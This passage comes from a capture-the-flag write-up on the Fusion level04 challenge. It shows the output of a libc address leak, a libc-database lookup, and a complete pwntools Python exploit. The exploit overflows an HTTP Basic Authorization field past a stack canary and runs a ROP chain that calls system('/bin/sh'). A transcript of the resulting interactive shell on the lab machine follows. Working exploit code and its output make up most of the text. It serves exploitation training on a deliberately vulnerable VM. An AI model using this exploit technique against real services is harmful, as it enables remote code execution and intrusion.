b'Authorization: Basic OjUySDJoMmMzdUVQMkxZUlhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEAH20EQUFBQUFBQUFBQUFBGAGOt0FBQUFBQUFBQUFBQcDPjbewzo23AAAAALwBjrc=\r\n'
b'\r\n'
[+] Receiving all data: Done (96B)
[DEBUG] Received 0x60 bytes:
00000000 20 c0 74 b7 c0 42 7f b7 46 cf 8d b7 60 65 80 b7 │ ·t·│·B··│F···│`e··│
00000010 e0 3a 79 b7 76 cf 8d b7 86 cf 8d b7 96 cf 8d b7 │·:y·│v···│····│····│
00000020 a6 cf 8d b7 70 66 76 b7 c0 8f 81 b7 c0 e5 7c b7 │····│pfv·│····│··|·│
00000030 20 67 80 b7 f6 cf 8d b7 a0 38 78 b7 10 6b 80 b7 │ g··│····│·8x·│·k··│
00000040 26 d0 8d b7 b0 f8 7c b7 46 d0 8d b7 e0 6c 84 b7 │&···│··|·│F···│·l··│
00000050 c0 41 7f b7 76 d0 8d b7 20 64 7a b7 96 d0 8d b7 │·A··│v···│ dz·│····│
00000060
[*] Closed connection to 192.168.254.156 port 20004
[*] Leaked __libc_start_main at 0xb774c020
[*] Libc base address: 0xb7733000
Since we were able to disclose a libc GOT entry, let’s look it up and figure out the exact libc version:
kali@kali:~/tools/libc-database$ ./find __libc_start_main 0xb774c020
ubuntu-old-eglibc (libc6_2.13-20ubuntu5.2_i386)
ubuntu-old-eglibc (libc6_2.13-20ubuntu5.3_i386)
ubuntu-old-eglibc (libc6_2.13-20ubuntu5_i386)
There are three candidates, so you will want to trial and error all of libc versions above when attempting to exploit a remote system.
Crafting the ROP chain
Now for the last part in this exploit chain!
The exploit below runs an x86
ROP chain calling system("/bin/bash")
.
Note that in the real world, you will need to run this exploit for each version of libc you think is running on the remote system.
import argparse
import base64
import binascii
import collections
import time
import string
import sys
from pwn import *
# Pwn context
context.arch = 'i386'
# Environment
PASSWORD_LEN = 16 # The hard-coded length of the app's password
TARGET_ELF = ELF('./level04') # Executable to search for PLT offsets
TARGET_LIBC = ELF('/home/kali/tools/libc-database/db/libc6_2.13-20ubuntu5_i386.so') # LIBC matching that on the remote system
def make_payload(args, overflow):
payload = b"".join([
b"GET / HTTP/1.0\r\n",
b"Host: " + args.host.encode('utf-8') + b":" + str(args.port).encode('UTF-8') + b"\r\n"
b"User-Agent: curl/7.72.0\r\n"
b"Accept: */*\r\n"
b"Authorization: Basic ",
base64.b64encode(b":" + overflow),
b"\r\n\r\n"
])
return payload
def do_rop(args, password, canary, ebx, libc_base_address):
context.log_level = 'info'
rop = ROP(TARGET_LIBC)
pop_ret = rop.search(0x8).address
bin_sh = next(TARGET_LIBC.search(b"/bin/sh\x00"))
system = TARGET_LIBC.sym['system']
rop.raw(p32(libc_base_address + system))
rop.raw(p32(libc_base_address + pop_ret))
rop.raw(p32(libc_base_address + bin_sh))
return_address = rop.chain()
conn = remote(args.host, args.port)
padding = b"A" * (2048 - len(password)- 1)
post_canary_padding = b""
post_canary_eip_offset = 0x1c
post_canary_ebx_offset = post_canary_eip_offset - 0x10
post_canary_ebx_padding = b"A" * post_canary_ebx_offset
post_ebx_return_address_offset = post_canary_ebx_offset + 0x0c
post_ebx_return_address_padding = b"A" * 0x0c
overflow = b"".join([
password,
padding,
canary,
post_canary_ebx_padding,
p32(ebx),
post_ebx_return_address_padding,
return_address
])
payload = make_payload(args, overflow)
# Pop a shell
info('Popping a shell...')
conn.send(payload)
conn.interactive()
def exploit(args):
# password = leak_password(args)
password = b"52H2h2c3uEP2LYRX"
canary = p32(u32(binascii.unhexlify("046d1f00"), endian='big'))
ebx = u32(binascii.unhexlify("b78e0118"), endian='big')
elf_base_address = u32(binascii.unhexlify("b78dc000"), endian='big')
libc_base_address = u32(binascii.unhexlify("b7733000"), endian='big')
do_rop(args, password, canary, ebx, libc_base_address)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Fusion level04 exploit by r0kit.')
parser.add_argument('--host', dest='host', type=str, required=True)
parser.add_argument('--port', dest='port', type=int, default=20004)
parser.add_argument('--password-leak-delay-loops', dest='delay_loops', type=int, default=10)
try:
args = parser.parse_args()
exploit(args)
except argparse.ArgumentError as e:
print("[!] {}".format(e))
parser.print_usage()
sys.exit(1)
Running the exploit above will invoke a shell on the remote system:
kali@kali:~/ctf/fusion/level04$ python3 rop-chain-shell.py --host 192.168.254.156
[*] '/home/kali/ctf/fusion/level04/level04'
Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/home/kali/tools/libc-database/db/libc6_2.13-20ubuntu5_i386.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loading gadgets for '/home/kali/tools/libc-database/db/libc6_2.13-20ubuntu5_i386.so'
[+] Opening connection to 192.168.254.156 on port 20004: Done
[*] Popping a shell...
[*] Switching to interactive mode
/bin/sh: line 1: $'\r': command not found
$ id
uid=20004 gid=20004 groups=20004
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:a5:67:f6 brd ff:ff:ff:ff:ff:ff
inet 192.168.254.156/24 brd 192.168.254.255 scope global eth0
inet6 fe80::20c:29ff:fea5:67f6/64 scope link
valid_lft forever preferred_lft forever
$ hostname
fusion
$
And that’s the exploit! I have posted the final exploit code on my github for you to play around with or reference! :)